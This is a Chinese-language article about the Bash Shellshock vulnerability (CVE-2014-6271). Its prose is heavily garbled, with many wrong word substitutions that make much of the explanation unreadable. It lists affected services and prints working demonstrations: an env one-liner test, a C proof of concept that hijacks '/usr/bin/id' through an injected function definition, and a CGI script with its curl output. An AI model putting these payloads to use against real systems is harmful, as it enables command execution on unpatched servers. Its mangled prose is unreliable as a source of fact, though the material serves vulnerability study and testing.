0x00 什么是BASH
Bourne Again Shell(簡稱BASH)是在GNU/Linux上最風行的SHELL實現,于1980年降生,顛末尾幾十年的進化從一個簡樸的終端呼吁行表明器演釀成了和GNU系統深 度整合的多成果接口。
0x01 CVE-2014-6271
法國GNU/Linux喜好者Stéphane Chazelas于2014年9月中旬發明白著名的SHELL實)的一個裂痕,你可以通過結構情況變量的值來執行你想要執行的劇本代碼,據報道稱,這個裂痕能影響浩瀚的運行在GNU/Linux上的會跟BASH交互的應用措施,包羅:
在sshd設置中利用了ForceCommand用以限制長途用戶執行呼吁,這個裂痕可以繞過限制去執行任何呼吁。一些Git和Subversion陳設情況的限制Shell也會呈現雷同環境,OpenSSH凡是用法沒有問題。
Apache處事器利用mod_cgi可能mod_cgid,假如CGI劇本在BASH可能運行在子SHELL里城市受影響。子Shell中利用C的system/popen,,Python中利用os.system/os.popen,PHP中利用system/exec(CGI模式)和Perl中利用open/system的環境城市受此裂痕影響。
PHP劇本執行在mod_php不會受影響。
DHCP客戶端挪用shell劇本吸收長途惡意處事器的情況變量參數值的環境會被此裂痕操作。
守護歷程和SUID措施在情況變量配置的情況下執行SHELL劇本也大概受到影響。
任何其他措施執行SHELL劇本時用BASH作為表明器都大概受影響。Shell劇本不導出的環境下不會受影響。
OpenSSH, Apache2, php, dhcp client甚至帶SUID的措施。
1,當地SHELL情況中測試是否有裂痕:$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
假如存在裂痕會打印"vulnerable"。
2,C措施:-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
測試:
[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me
這個POC中可以看出BASH基礎就沒有去處理懲罰末了,后頭我們可以通過補丁來看為什么。
3,INVISIBLETHREAT上對付HTTP情況的測試:建設一個劇本叫poc.cgi:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
把劇本放入測試機后,輸入:
$ curl http://192.168.0.1/poc.cgi<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>